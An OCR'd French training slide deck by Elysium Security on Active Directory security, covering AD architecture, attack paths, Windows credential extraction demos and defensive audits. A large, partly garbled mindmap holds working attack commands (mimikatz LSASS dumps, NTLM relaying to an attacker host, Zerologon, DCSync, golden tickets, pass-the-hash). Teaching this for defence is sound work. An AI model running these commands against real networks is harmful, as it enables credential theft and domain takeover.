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Elysium Security / Root-Me PRO

Intervenant

Yoan ISSARTEL

= Associé Elysium Security / Root-Me PRO
= Expert en sécurité défensive
= Spécialités :

v' Architecture sécurisée

EOO'I-M e@ v Supervision de sécurité

v' Réponse a incident et gestion de crise

(i) @) -

INDEPENDANCE EXPERTISE PROXIMITE TRANSPARENCE

L'autofinancement de nos activités vous Chez Elysium, la compétence est reine. Notre mission implique confiance et Mous ne promettons jamais l'impossible
garantit un conseil fiable et des produits L'expérience cumulée de nos experts réactivité. Nos clients peuvent compter et faisons toujours le maximum pour
réellement adaptés a vos permet de bénéficier dune couverture sur un contact étroit avec nos équipes et apporter une protection optimale a
problématiques. globale de vos besoins. partenaires. chaque contexte.
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Nos actions dans le secteur de |la santé

RoorrMe_,

Identifier

Protéger

Audits de sécurité (tests d’intrusion, audit d’architecture, ...),
Cartographies et inventaires (puits de logs, sondes, ...), ...

Gestion des identités et des acces (IAM, SSO, MFA, PAM, ...),
Formations et sensibilisations, ...

Intégration de solutions de détection (EDR, sondes, SIEM, ...),
Supervision de sécurité (SOC), ...

Intégration de solutions de réponse a incident,
Réponse a incident et gestion de crise, ...

Intégration de solutions de continuité/reprise d’activité,
Mise a disposition de solutions de crise, ...
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Introduction




Systeme d'information

Moyens / Methodes

N

Organisation - Mise en relation

4

SYSTEME

INFORMATION

FLUX / DONNEES

e e m

« I'information estice qui donne une forme a lI'esprit [...] donner forme a ». L'information est aussi
une « indication, renseignement que I’'on donne ou que I'on obtient sur quelqu’un ou quelque
chose ». D’un point de vue informatique « il s’agit d’un élément de connaissance susceptible d’étre

représenté a I'aide de convention pour étre conservé, traité ou communiqué » srcslarousse

| |

Formats Stockage / Traitement / Flux Données

Systéme d’'information (Sl)

= Un Sl est un ensemble organisé de ressources (humaines, matérielles, immatérielles) qui permet
de gérer, traiter, stocker et diffuser (flux) de I'information (données).

" Parmices moyens et méthodes qui permettent d’organiser et de mettre en relation ces éléments
ressortent deux grands piliers complémentaires: |la gouvernance du Sl et I’architecture du SI.
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Analogie entre Maison et SI

Actifs Actifs
Bijoux, argent, == ‘ Données (brevet, CB,
souvenirs, voitures, Ec'iun- | |l@—- personnelles)
papiers, etc. lece=mm1i Applications,

services, etc.

Clé physique Voie publique Internet Mots de passe
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Analogie entre Maison et SI — Annuaire

Active Directory

= Reéférentiel central qui stocke tous les objets d’une
SYSTEME D'INFERMATION ) : : : .
i — | entreprise et leurs attributs respectifs (utilisateurs,
serveurs, domaines, stratégies de sécurité, ...).

= Permet aux utilisateurs de trouver et d’accéder aux
ressources connues de I'annuaire en fournissant des
mécanismes d’identification, d’authentification et
d’autorisation.
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" Principes de « moindre privilege », de modele de gestion
des acces privilégiés et de cloisonnement du Sl (Tier).
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= Différents services :
v" ADDS - Active Directory Domain Services
v ADCS - Active Directory Certificate Services
v ADFS - Active Directory Federation Services
v ADRMS - Active Directory Rights Management Services

v ADLDS - Active Directory Lightweight Directory Services

Copyright © Elysium Security Novembre 2024



Active Directory — Fonctionnement

Source : ANSSI

Légende

Interdit i :
—) Dedicated Cloud “~__ g

Admin Accounts
Serveurs meétier . Secure
De maniere Workstation S x

dérogatoire, sous
conditions et
apres évaluation

---------- - E__.—_I u du risque

B Exemple :

Systémes de gestion
ou d'administration e

Manage device configuration
from Microsoft 365.

Systémes de gestion Postes de travail Autorisé
ou d'administration - | = 0
[S— <

FIGURE 2 — Illustration du principe de cloisonnement des Tiers. Unprivileged
Accounts

Cloud i
Microsoft 365 admin privileges
e ReSSO urces On-Premises S P, Secure Hybrid Access
I’ETRI
Key
@ ’ ".l

* Comptes utilisateurs KaY . Abdeged A
—’ Authentication
On-Premises

q On-prem Syn(
Apps

0 Conditbonal Access

' Accounts w/ no
e
“? cloud privileges

* * ﬂ : Kerberos, NTIM, LDAP

Corporate AD Forests

LM

* Comptes Administrateurs
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Un composant essentiel tres convoité

" La compromission d’'un domaine AD marque tres souvent la compromission du SI.

= Les conséquences d’'une compromission peuvent étre nombreuses :

» Atteinte a la confidentialité / intégrité / disponibilité ;

» Atteinte a I'image ;

Microsoft

Active Directory

» Cout de remeédiation ;

» Délai de reconstruction.

Environnement

Structure

Protocoles d’authentification

Requétes

Spécificite

Sservice ______________]ADDs ___________________ |AzreAD

Windows serveur (physique ou
vim)

X500/LDAP (OU)
Kerberos, NTLM

LDAP, DNS

Authentification des ressources
« on-prem », Group Policy

Source : Clusir

Microsoft multi-tenant cloud
directory service

Plate (pas d’OU)

SAML 2.0, OpenlD Connect,
OAuth 2.0, WS-Federation

AD Graph REST API

Authentification des
applications SaasS
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Un schéma d’attague qui se répete

Attack Kill Chain

Asset recon

privileges Lateral
movement cycle

N

High
rivileges Lateral Remote code
movement cycle :
execution

Local
privilege
escalation

Internal
Recon

Source : Microsoft
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Une multitude de vecteurs d’attaque

Pivoting to others computers

atexec py -hashes “:chash>" <user>
command

got administrator access on one machine m [

evil-winrm -i <ip>/<domain> -u <user> -H <

: mimikatz *privilege::debug” “sekurlsa hash>
rocdump.exe -accepteula -ma lsass.exe lsass. minidump lsass.dmp” "sekurlsa:

cme smb <ip_range> # enumerate smb hosts ! Privilege escalation o2 ” ¢ > ® ¥ ythid

H' ciassic quick compromission methoc ||RNEMM dmp logonPasswords” “exit xfreerdp /u:<user> /d:<domain> /pth:<hash> /

————————————————————————————— ~ oy
nmap -sP -p <ip> # ping scan @2 winpeas.exe katz " 1\ debug" "tok levate" >
java rmi % exploit/multi/misc/java_rmi_server —————— SNIRGRE DYVNOnRCRDUS, JoRe senne
nmap -PN -5V --top-ports 50 --open <ip> # sesich paasiord files @D findstr /si ‘password’ *.txt *.xmi *.docx @02 sekurlsa:logonpasswords” "lsadump::sam’ python getTGT.py <domain>/<user> -hashes < export KRBSCCNAME=/root/impacket- .. python psexec.py <domain>/<user>@<ip> -k -
PN -8V —-top- o exit” e mples/domain, he no-
quick scan msi7-010 5 exploit/windows/smb/ms!7_010_eternalblue [ hashes Samplss/domain ficket coache il -
Juicy Potato / Lovely Potato -7
Y / Y post/ ok ‘gather/smart_| P P overpass the hash / pass the key (PTK) ® Rubeus ptt /ticket:<ticket> -

\
1
I
I
I
1
I
I
1
|
I
1
I
i
]
1
1
I
I
1
]
I
I
I
|
|
1
|
|
|
|
I
|
|

nmap -PN ~-script smb-vuln® -pI39.445 <ip> # |

auxiliary/scanner/http/tomcat_enum
search smb vuln |

tomcat/jboss manager exploit/multi/http/tomcat_mgr_deploy PrintSpoofer i Fiitin wakiot Amssiclin Al il =
Scan Network = = —_— :“le smb <ip_range> -u <user> -p <password> - Rubeus createnetonly /program:C:\Wingows\
sass: ; - t
nmap -PN -sC -sV <ip> # classic scan java serialized port ysoserial - - RoguePotato Y System32\[cmd. Exe!luonptol“_ex?f Rubeus ptt /luid:Oxdeadbeef /ticket:<ticket>
nmap -PN -sC -sV -p- <ip> # full scan vulnerable product with cve searchsploit b IR SITD. < FAOND: ~U USEE> . < privilege::debug sekurisa:-tickets /export

SMBGhost CVE-2020-0796

password>' --sam / --lsa / --ntds sekurisa::tickets /export =

nmap -sU -sC -sV <ip> # udp scan use scanner/smb/smb_enum_gpp

1
T

i

i

I

i

i

: MS14-025

“ ° findstr /S /1 cpassword \\<FQDN>\sysvol\<
1 FQDN>\policies\*.xml

i

i

i

i

]

i

CVE-2021-36934 (HiveNightmare/
SeriousSAM)

@D PPLAUMpPé4. exe <lsass exellsass_pid> [sass.dmp Get tickets ® Rubeus dump /service:krbtgt /nowrap

mimikatz *1+" "Iprocessprotect /process:isass.
LSA as a Protected Process exe /remove” "privilege::debug” "token
r | @D elevate" "sekurlsa::logonpasswords” !
processprotect /process:lsass.exe”
mimidriver.sys

Rubeus dump /luid-Oxdeadbeef /nowrap

nmcli dev show ethQ # show domain name &
dns

database credentials % use admin/mssql/mssal_enum_sql logins Get-NetComputer -Unconstrained

#with

Unconstrained delegation

nslookup -type=SRV _ldap._tcp.dc._msdcs.//
DOMAIN/

find AD IP

Get-DomainComputer -Unconstrained -
Properties DnsHostName

proxylogon

search password files @D findstr /si ‘password’ *.txt *.xmi *.docx

Get unconstrained delegation machines MATCH (c:Computer {unconstraineddelegation:
1 true}) RETURN ¢

search stored password @00 lazagne.exe all

dig axfr <domain_name> @<name_server>

crackmapexec <IP> -u 'user’ -p ‘password' -~

zone transfert
mklink /d c:\shadowcopy \\?\GLOBALROOT\

Kerberos 5 TGS Get-LAPSPasswords -DomainController <ip.
coztadabokza i) | @8 dc> -Credential <domain>\<login> | Format-

Table -AutoSize

hashcat -m 13100 -a 0 spn.txt rockyou.txt

crackmapexec smb 127.0.0.1 -u <user> -p <

Kindly provided by Orange Cyberdefense ;-) password> -d <domain> --ntds
Some commands can break stuff, be sure to know what are you doing !

Please find legend below.

@ Bloodhound

hashcat -m 18200 -a 0 AS-REP_roast-hashes
rockyou.txt

4
{ ‘
i
1 pass-pol I -
‘ ® MATCH (u:User {owned:true}). (c:Computer {
al - ! 4 shadow copies @D diskshadow list shadows all Device\HarddiskVolumeShadowCopyl\ 2
o © Get password policy 1 / 2 potend - et © unconstraineddelegation:true}), p=
G enumdlinx -u 'username’ -p ‘password' -P <IP> : / shortestPath((u)-[*1.]->(c)) RETURN p
/ : ! I / ® \incognito.exe execute -¢ "<domain>\<user>"
: P i i .
-a - - - 1 @D .\incognito.exe list_tokens -u owershell.exe
enumdlinux -a -u <dc ! i Password spray cme smb <dc-ip> -U user.txt -p password.txt - 1 ! i - 2 iz privilege::debug sekurisa-tickets /export
ip> && enumd4linux -a -u " ¥ [ — no-bruteforce # test user=password 1 ¥ / | token manipulation: ( sekurlsa-tickets fexport
s % o ; credentials found T | ® useincoanito % impersonate_token <domain>\\<user>
guest” -p ** <dc-ip> / o : —got an admin access
t: 1 @p =% b cdc bt ysenixl -p laxsward It H Get tickets Rubeus dump /service:krbtgt /nowrap
Vi multiple test (carrefull of lock policy) i dpapi extract
! 1 IR
1 \ ! — Rubeus dump /luid-Oxdeadbeef /nowrap
smbmap -u ™ -p = -P 445 -H <dc-ip> 82 / W Python GetNPUsers.py <domains/ -usersfile < | i
‘ = / 1 usernames.txt> -format hashcat -outputfile < |
smbmap -u "guest” -p ™ -P 445 -H <dc-ip> / i e i 1 - = Get-DomainComputer -TrustedToAuth -
L i ! 1 Constrained delegation Properties DnsHostName, MSDS-
smbclient -U ‘%' -L //<dc-ip> && smbclient -U 4 1 Gethash . H GetADUsers.py -all -dc-ip <dc_ip> <domain>/< i — AllowedToDelegateTo
guests -L //<dc-ip> / i _ ® Rubeus asreproast /format hashcat ) ! O Getall users Rt !
List guest access on smb [ 4 iy ! ! © MATCH (c:Computer), (t:Computer). p=((c)-T
| @ cme smb <ip> -u"-p " # enumerate null session i "y Get-DomainUser -PreauthNotRequired - ! cme smb <ip> -u <user> -p <password> -- : AllowedToDelegate]->(t)) RETURN p
share ! / H Properties SamAccountName i enumerate SMB share shares i Get machines
/ ] 1 i
cme smb <ip> -u 'a' -p " # enumerate 7 : ‘,‘ ~ 1 | MATCH (u:User {owned:true}), (c:Computer {
anonymous access / et > Get ASREPRoastable users | MATCH (u:User {dontreqpreauth:true}), (c _l bloodhound-python -d <domain> -u <user> - 1 © name: "<MYTARGET.FQDN>")), p=shortestPath((
> - / y | © Computer), p=shortestPath((u)-[l.]->(cl)-— =~ r bloodhound p <password> -gc <dc> -c all : u)-[1.}->(c)) RETURN p
Pentesting active / iy ! i
= ' = powerview / pywerview H Based C
dlrectory nmap -n -sV --script "ldap® and not brute” -p e H !
389 <dc-ip> 1
) <dc-ip: GetUserSPNs.py -request -dc-ip <dcip> < | 1 tsadump:desyne /domain:htb.local /user
1 domain>/<user>:<password> | H krbtgt # Administrators, Domain Admins, or
i [ F 1 9!
Enumerate dap Wapsearch - <ip> - base i et [ rash ouna | : OO oo Ak o vl o Do v
:: Rubeus kerberoast / ! desync computer accounts
! i
)
! I
! . 4 4 WSUSpendu.ps! # need compromised WSUS
: i Get-DomainUser -SPN -Properties pendu p: =
4linux - - ] kerberoastin ! @
S i v o1, Uow Y ! oo SamAccountName, ServicePrincipalName ! WsUSpect server
‘ ]
| i
crackmapexec smb <ip> -u <user> -p '< | =
AR | m’. i o © MATCH (u:User {hasspn:true}) RETURN u ! _scem @ CMPivot
A A 1 us 1
Emduserlist ! Got one account on the domak ] MATCH h c - ! { MSSQL Trusted Links » use exploit/windows/mssql/mssql linkcrawler
nmap -p 88 --script=krbS-enum-users --script- : one in ° (u:User {hasspn:true}), (c:Computer), p= 1
args="krb5-enum-users realm="cdomain>', H i shortestPath((u)-[1.]->(c) RETURN p !
OSINT - enumerate username on internet userdb=<users_list_file>" <ip> | 1 rpcdump.py <domain>/<user>:<password> printerbug py ‘<domain>/<username>:<
1 TPoclent S5 okupmEmes e H | _ Printers spooler service abuse domain _server> | grep MS-RPRN password>'@<Printer IP> <RESPONDERIP>
| 3 2 I
| wmic useraccount get name,sid 1
\ ! auxiliary/admin/kerberos/ms14_068_kerberos. — i GenericAll on User
nmap -Pn -sS -T4 --open --script smb-security- | ! chackamn N ! _—
mode -p445 ADDRESS/MASK l 7 MS14-068 FindSMB2UPTime.py <ip> ! GenericAll on Group
| (———— g | 7 | goldenPac.py -dc-ip <dc_ip> <domain>/< H
find smb not signed ‘ ») use exploit/windows/smb/smb._relay J i john --format=lm hash.txt user>:'<password>'@<target> @D kerberos:ptc "<ticket>" | GenericAll / GenericWrite / Write on Computer
i) M 1 t
cme smb Shosts --gen-relay-list relay.txt y, i hashcat -m 3000 -a 3 hash.txt / dnscmd.exe /config /serverlevelplugindll <\ @p 5C \\DNSServer stop dns ! WriteProperty on Group
§ o path\to\dil> # need a dnsadmin user sc \\DNSServer start dns H e
i { -
PetitPotam.py -d <domain> <listener_ip> < b john -—format=nt hash.txt ! Salf (Salf-Mambarship) on Group
. . target.ip> ¢! NIM ————— CVE-2021-1675.py <domain>/<user>:< i AD acl abuse ) sy p—o—o
relay/poisoning ) = 0 | ! R e S A password>@<target> '\\<smb._server_jp>\< f {
-i eth0 \ v St PrintNightmare share>\inject.dil ! | writeProperty (Setf-Membership)
! i | ! e liondS sl e
@l user & hash found G 3 |
! john --format=netntim hash.txt 1
mitmé -d <domain> : ! e ! dnstool.py -u 'DOMAIN\user’ -p 'password' - S H | Forcechangepassword
W . enum dns ¥ record ' --action query <dc_ip> |
b t hashcat -m 5500 -a 3 hash.txt - WriteOwner on Group
- crack hash S
python3 cve-2020-1472-exploit.py <MACHINE_ ! — —— john --format=netntimv2 hash.txt / GenericWrite on User
BIOS_NAME> <ip> | - NTLMVZ [ | e atbur
secretsdump.py <DOMAIN>/<MACHINE_BIOS_ En |\t |
hashcat -m 5600 -a 0 hash.txt rockyou.txt L + Writ
@ NAME>\S@<IP> -no-pass -just-dc-user ™ B L Y WriteDACL + WriteOwner
Administrator” python3 restorepassword.py -target-ip <IP> < H }
secretsdump.py -hashes :<HASH_admin> < DOMAIN>/<MACHINE_BIOS_NAME>@<MACHINE_ v fohn spn.txt --format=krbStgs --wordlist= GPO Delegation
DOMAIN>/Administrator@<iP> BIOS_NAME> -hexpass <HEXPASS> H : rockyou.txt —
! I
“ 1
-
]
]
1

foreach (SobjResult in ScolResults{S
objComputer = SobjResult Properties; $

biComputer.namelwhere {Sobjcomputer
name -ne Senv:computername}|%{foreach-
object {Get-AdmPwdPassword -
ComputerName S )}

secretsdump.py '<domain>/<user>:<pass>'@<
ip>

no smb signing || ipvé enabled || z ros ASREP
i s

., use exploit/windows/smb/smb_relay #
MS08-068 windows200 / windows server2008

get laps passwords

secretsdump.py -ntds ntds file.dit -system
SYSTEM FILE -hashes Imhash:nthash LOCAL -
@D ntdsutil "ac i ntds" "ifm" “create full c:\temp® q q outputfile atim-extract

responder -1 ethO # disable smb & http ntimrelayx.py -tf targets.txt

PowerView

python privexchange.py -ah <attacker_host_or_
ip> <exchange_host> -u <user> -d <domain> - ntimrelayx.py -t Idap://<dc_fqdn>--escalate-
P user <user>

~ ntimrelayx.py -6 -wh <attacker_jp> | /tmp -
~ socks -debug

i
1
]
I
1
1
I
I
{ 1
]
i
I
]
i
i
1
|

Tsmb://<

1
1
1
1
1
1
]
|
I
1
|
]
|
I
1
1
I
7

2~ Qtimrelayx.py -6 -wh <attacketips™ 7
mitmé -i eth0 -d <domain> target> ~| 7{mp ~socks -debug ol
.
ntimrelayx.py -t ldaps://<dc_ip> -wh <attacker_ getSTpy -spn cifs/<target> <domain>/< /4 (  _CTTTTTTTTTTTTTTTTTTTTTT T i
ip> --delegate-access netbios_name>\S -impersonate <user> /I : { ® net group “"domain admins" myuser /add / ~.
7 1 domain TIUSK relationship

ntimrelayx.py -t http://<dc_ip>/certsrv/ i ! : ‘ \
certfnsh.asp -debug -smb2support --adcs -- @p Rubeus.exe askigt /user.cuser> /certificate:< o I ticketer.py -nthash <nthash> =domain-sid < i kerberos:golden /user:Administrator /krbtgt:< |
adcs template DomainController baseb4-certificate> /ptt ,’ ! ! Golden ticket domain_sid> -domain Zdomain> <user> : Gt NatGiovn Domin<Hiossine= HASH KRBTGT> /domain:<domain> /sid-cuser_ |
_____________________________________________________________________________ ([ [ & ! Child Domain to Forest Compromise - SID @2 GroupName “Enterprise Admins" -FullData| O > /sids: RootDomainSID-519> /ptt 1
o ! Silver Ticket - Hijacking select objectsid @0 mimikatz lsadump:trust :
1 i r I i
\ : PowerShell New-ItemProperty "HKLM:\System\ | "kerberos::golden /user:Administrator / :
£ [ @p CurrentControiSet\Control\Lsa\" -Name ! domain:<domain> /sid: i
. \ ! “DsrmAdminLogonBehavior" -Value 2 - - @D <domain SID> /rc4:<trust key> /service:krbtgt / \Rubeus.exe asktgs /ticket:<kirbi file> / |
. . N DSRM PropertyType DWORD i tsadump:trust /patch” target:ctarget domain> /ticket @D service:"Service's SPN" /ptt i
Source : https://raw.githubusercontent.com/Orange-Cyberdefense/ocd- “-e=a : st e % TSI ST :
* * ° . ; mimikatz “privilege::debug ! I
H Skeleton Key exit" } printerbug or petitpotam to force the DC of the -
- . - 1 m ! external forest to connect on a local i
*[ mimikatz “privilege::debug"” “misc::memssp” * H unconstrained delegation machine. Capture }
minama p S/main/im g p entes ad ar SV g | Custom 559 CAWindows\System32\kissp og l Breokingforesttrust TG nfct nto memory and dcsync |
. ! e e e SR e el b e S s e e S e e e S §

— — — — !

i

)
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Quelgues exemples d’exploitations réussies

Faille Zerologon: un passe-partout pour
I'admin dans Windows Server

Dot e AR o teaniios 2070 ACTU TESTS ASTUCES TELECHARGER BONS PLANS

CVE 2020.1472 sumommée Zeralogon permet Windows : plusieurs groupes de pirates
i e exploitent les failles PrintNightmare

CVE-2022-26923 : detection d'une vulnérabilité d'élevation de privileges

21 MS14-068: Active Directory Kerberos Vulnerability AD de sévérité élevée
=« Patch for Invalid Checksum

By Sean Metcalf in Microsoft Security, Technical Reference

Active Directory

068 M514-068 Exploit POC with the Python Kerberos Exploitation Kit (aka PyKEK) Exploiting MS14-068 In this month's patch Tuesday, Microsoft fixed a high severity privilege escalation & :
Certificate Services

Vulnerable Domain Controllers Successfully with the Python Kerberos Exploitation Kit (PyKEK) PyKEK Kerberos

“Bhabesh Raf Rai, Security R ct

MS14-068 References: AD Kerberos Privilege Elevation Vulnerability: The Issue Detailed Explanation of MS14- R GRS AR SO vesadn
C ©
Packets on the Wire aka How the MS514-068 Exploit Works The folks at BeyondTrust have ... Q

Dans le patch Tuesday de ce mois-ci, Microsoft a corrigé une vulnérabilité délévation de
privileges de séverité éelevée (CVE-2022-26923) dans les services de domaine AD, avec un score

CVSS de 8,8, ce gui est proche du niveau critigue. Cette vulnérabilité permet a un utilisateur
Continue reading

Accueil / Cyber sécurité / Virus informatique | Malware

WannaMine: quand la faille EternalBlue est
utilisée pour miner

Copyright © Elysium Security Novembre 2024




Démonstrations:

Extraction de secrets
sous Windows




Secrets sur Windows

Extraction de secrets

sekurlsa::minidump

o procdump.exe -accepteula -ma lsass.exe [sass. ® mimikatz "privilege::debug
m .IEHit"

dmp lsass.dmp"” "sekurlsa:logonPasswords

token::elevate

mimikatz "privilege::debug
. i i m
Isadump::sam

sekurlsa::logonpasswords" " exit"

get credentials post fwindows /gather/smart_hashdump hashdump

cme smb <ip range> -u <user> -p <password> -
M lsassy

cme smb <ip range> -u <user> -p '<password>’ --
sam / --lsa / --ntds

@2 PPLdumpéd.exe <lsass.exe|lsass_pid> lsass.dmp

mimikatz "1+" "lprocessprotect fprocess:|sass.
LSA as a Protected Process exe fremove” "privilege::debug” "token::

) ®D elevate” "sekurlsa::logonpasswords” "l

processprotect /process:lsass.exe" "I1-" #with

mimidriver.sys

search password files @D findstr /si'password' *.txt *.xml *.docx

—  search stored password @0 lazagne.exe all
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Secrets sur Windows

‘Ma’l‘ﬁliiser a dissémination de toute forme de secret d'authentification réuti-
isable

De maniere génerale, tout secret d’authentification sensible et reutilisable catégorise
comme etant d'un Tier donne ne doit étre accessible, saisi, stocke ou traité que par
des comptes et sur des ressources de ce Tier ou d'un Tier de plus haut niveau de

Novembre 2024
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Secrets sur Windows

Ou sont les secrets sur un systéme Windows ?

Cas

Je suis sous l'identité d’un « utilisateur standard »

Cas 2

Je suis sous l'identité d’un « administrateur »
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Cas 1 - Utilisateur standard

Démonstration 1

Analyse de la fonctionnalité de sauvegarde des mots de passe de Firefox

e Firefox
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Cas 1 - Utilisateur standard

Démonstration 2

Analyse de la fonctionnalité de sauvegarde des mots de passe de mRemoteNG

mRemoteNG

Multi-Remote Next Generation

Copyright © Elysium Security Novembre 2024



Cas 2 — Administrateur

Rappels - Hash LM

" Format de stockage des mots de passe utilisé par Windows depuis 1980. Désactivée depuis Windows
Vista/Server 2008 mais toujours présent afin d’assurer une rétrocompatibilité.
= Algorithme LM( password ) :
» Etape 1 : convertir toutes les minuscules en majuscules ;
» Etape 2 : on garde seulement les 14 premiers caracteres ;
» Etape 3 : découper le mot de passe en deux blocs de 7 caracteres ;
» Etape 4 : utiliser les deux blocs comme clés DES pour chiffrer : « KGS!@#5% » ;
» Etape 5 :la concaténation des deux blocs chiffrés est le résultat final.

Rappels - Hash NT

" Format de stockage des mots de passe utilisé sur les systemes Windows récents.

= Algorithme NT( password ) :
» MD4( UTF-16-LE(password) )
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Cas 2 — Administrateur

LSAAS

= Le processus « Isass.exe » (Local Security Authority Subsystem Service) assure I’authentification des utilisateurs pour
I’acces aux ressources.

1= Task Manager
File Options  View

Processes Performance App history  Startup  Users Detalls  Sepvices

-

MName PID Status zer name
[8=] |sass.exe -‘— Fits Running SYSTEM
‘i MicrosoftEdgelpdate.exe 4324 Running SYSTEM
(8= MsMpEng.exe 2812 Running SYSTEM
(0= MisSrv.exe 3764 Running LOCAL SEREVICE
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Cas 2 — Administrateur

= Qutil open-source ayant pour objectif d’analyser I'espace mémoire du processus « Isass.exe » afin d’extraire les différents
secrets que ce dernier manipule lors de son fonctionnement.

= Pour cela, il utilise des fonctionnalités classiquement utilisées lors de phases de « debug » d’un programme/processus (mise en
place de points d’arrét, avancement pas a pas, etc.).

"= Récupération des secrets de « |sass.exe » :

futhentication Id @ @ ; 634@35195 (@22@222@: 25chiB65h)
Session : CachedInteractive from 2
Uzser Name : Administrataor
Domain : WIMLAE
Logon Serwver : Dl
Logon Time s 61272823 2:51:87 PH
SID : $-1-5-21-139@663583-3594613496 -32010395
msw

[@2@@2883] Primary

* Username : Administrator
* Domain : HWINLAE
*
*
*®

> > priVilege::debug mimikatz # Elr"i'-.-']..l.EE,’E::dEI:lIJE.'

Privilege '2@' OK
> > SekUF|SaIZ|080npaSSWOrdS mimikatz # sekurlsa::logonpasswords

futhentication Id @ @ ;
Session : Int:r:ctl e +rum 2
User Name : locadm
Domain : W51
Logon Server : WESE1
Logon Time s 61272023 5185253 PH
MTLHM » 21V et@2@3aSabat9cetabka3cy2dbFElb
SHAL » bazs@clyarble@lsisakf890ecbddd]l 2cedidlcdd
DPAPT : led7/cdb9+ 94 9chZedd 2@obaditaal?
tspkg
wdigest :
* Username : Administrator
* Domain : WINLAE
* Pgssword @ (null)
kerberos :
* Username : Administrator
* Domain : WIMLAEB.LOCAL
¥ Password @ PR@sswdrd!

510 : 5-1-5-21-21@916@Y53-212V@@l5d5-3333182 72 -1ad5

msy -
[ 2222283 ] Primary
* lsername @ locadm
* Domailn : H5@1
* NTLHM  217eS2@53a%abab9cefaboacy2dbtelb
* SHAL r bazk@cliaible@?sitaR9896etbhddd ]l 2cedsdledd
tspkg -
wdigest :
* sername @ locadm
* Domailn : W52l
* Pgssword @ (null)
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Cas 2 — Administrateur

Pass-the-Hash (PtH)

= La connaissance du hash de mot de passe d’un compte permet de facilement usurper et de
réutiliser ce dernier !

= Reéalisation d’une attaque PtH :
» S nxcsmb 10.10.20.201 —d ‘WINLAB.local’ —u ‘user01’ —p ‘PASS’ --shares
» Snxcsmb 10.10.20.201 —d ‘WINLAB.local’ —u ‘user01’ —H ‘NTHash’ --shares
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Bonnes pratiques




Gestion des mots de passe

Conseils pratiques

= Privilégier I'utilisation d’un gestionnaire de mots de passe (KeePass, KeePassXC, Bitwarden).

= Eviter d’enregistrer les mots de passe dans vos applications ;

KeePassXC bltVVa rd -
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Scan et audit

= PingCastle ;
= Service ADS (Active Directory Security) de I’ANSSI (outil ORADAD) ;
= Purple Knight.

4

PING
BY netwrix

purple Knight

powered by semperis
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Zoom sur les audits techniques

Programme CaRE

Cyberseécurité accélération et

Objectif D1.01 : Maitriser I’annuaire
d’établissement

» Objectif D1.01.A : Reéaliser

S - Reésilience des Etablissements
régulierement des audits de tous
les AD (ORADAD) (CaRE)
> ObjeCtif D1.01.B : Atteindre un Cybersécurité, une réponse collective, déterminée et coordonnée pour faire
niveau de sécurisation minimum tace & la menace |

des AD

» Objectif D1.02.A : Réaliser
régulierement des audits de
I'exposition internet

» Objectif D1.02.B : Atteindre un
niveau de sécurisation minimum
de son exposition sur internet

Niveau de sécurité | || Niveau de sécurité || |Niveau de sécurité

2:008 1 2 300 B2 3 415
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W

W

Quelgues exemples de points de controle - ORADAD

Titre

Permissions dangereuses sur les conteneurs de certificats (chemins de contréle)

Permissions dangereuses sur les objets de modeles de certificats (chemins de contréle)
Permissions d'enrélement dangereuses sur des modeles de certificats permettant I'authentification
Certificats faibles ou vulnérables

Objets critiques non disponibles

Contréleurs de domaine incohérents

Délégation d'authentification contrainte vers un service d'un contréleur de domaine
Délégation contrainte basée sur les ressources, sur des contréleurs de domaine

Délégation d'authentification contrainte avec transition de protocole vers un service privilégié
Délégation d'authentification non contrainte

Présence de Display Specifiers dangereux

Permissions dangereuses sur le groupe DnsAdmins

Zones DNS mal configurées

Comptes privilégiés dont le mot de passe n'expire jamais

Parametres dSHeuristics dangereux

Niveaux fonctionnels de la forét et des domaines insuffisants

Comptes privilégiés sans préauthentification Kerberos

Contréleurs de domaine dont le mot de passe de compte d'ordinateur est inchangé depuis plus de 45 jours
Contréleurs de domaines inactifs

Comptes privilégiés dont le mot de passe est inchangé depuis plus de 3 ans

Permissions dangereuses sur I'objet adminSDHolder

Permissions dangereuses sur les objets contréleurs de domaine (chemins de contréle)
Permissions dangereuses sur les objets des paramétres DFSR du SYSVOL (chemins de contréle)

Permissions dangereuses sur les objets de clés DPAPI (chemins de contrdle)
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vuln adcs control

vuln adcs template control

vuln adcs template auth enroll with name

vuln certificates wvuln

vuln critical objects

vuln dc inconsistent uac

vuln delegation a2d?

vuln delegation sourcedeleg

vuln delegation t2add

vuln delegation tdd

vuln display specifier

vuln dnsadmins

vuln dnszone bad prop

vuln dont expire priwv

vuln dsheuristics bad

vuln functional lewel

vuln kerberos properties preauth priv

vuln password change dc no change

vuln password change inactive dc

vuln password change priwv

vuln permissions adminsdholder

vuln permissions dc

vuln permissions dfsr syswvol

vuln permissions dpapi

La plupart des recommandations portent sur
la surveillance des acces, des modifications
des objets Active Directory, et sur la gestion
des authentifications.

Ces actions sont celles qui peuvent étre
supervisées par une journalisation avancée.

Certaines recommandations sont plus
orientées vers des configurations techniques
ou des bonnes pratiques qui ne peuvent pas
étre directement suivies par une
journalisation (désactiver des fonctionnalités
spécifiques ou appliquer des configurations
de sécurité via GPO).

RECOMMANDATIONS DE SECURITE
POUR LA JOURNALISATION DES

SYSTEMES MICROSOFT WINDOWS EN

ENVIRONNEMENT ACTIVE DIRECTORY

GUIDE ANSSI



Quelgues exemples de points de controle - ORADAD

@ Elastic
= D

[Winlogbeat] Overview

Senveur WEC
(Windows Event Collector)

Number of Events [Wintogbeat Overview] Number of Events Over Time By Channel [Winiogbeat Overview]

(Windows Event Forwarding)

Client WEF

 J—. _
— Evénements =
transférés ."||
Clhent WEF

(Windows Event Forwarding)

__]

pan—

Clent WEF

=] —
]
Nl

Evénements
transferés

Clent WEF

(Windows Event Forwarding)

FIGURE 2 — Représentation de I'articulation entre WEC et WEF

S| du Service de detection des incidents de securite

"~ Gestion des événements | |  Gesfion des incidents
: Outils d'analyse
e F
Stockage = : » I
S Evénements e Incidenty
| I
Zone de collpcte : Zone d'analyse |

| [
I |
|

L D

’ Purtad Web

+ SOCHEE

Zane d'échange

anditaire

L
L i

i

Poshe nrade
e covsaaion

Y
— .
E,E
""-.__ 'r'll!'lll
Enclave de collecte | -""'---?.?EWS
| i
— —, e
I — - -\-\.\_H___\_
_f . S
B Perimetre I -
supervisé Sources de collechs d_;__j——
—— ot —

g — S

Sl interne du commanditaire

E g
g
Mentg ’fﬂf‘rsfé (Windows Event Forwarding)
fes

2,858

Count

Sources (Provider Names) (Winlogbeat Overview]

\

Event IDs

' Local Computer Policy
v & Computer Configuration
Software Settings
v || Windows Settings
Name Resolution Policy
& Scripts (Startup/Shutdown)
v S Security Settings
4 Account Policies
5 Local Policies
| Windows Defender Firewall with Advanced Security
| Network List Manager Policies
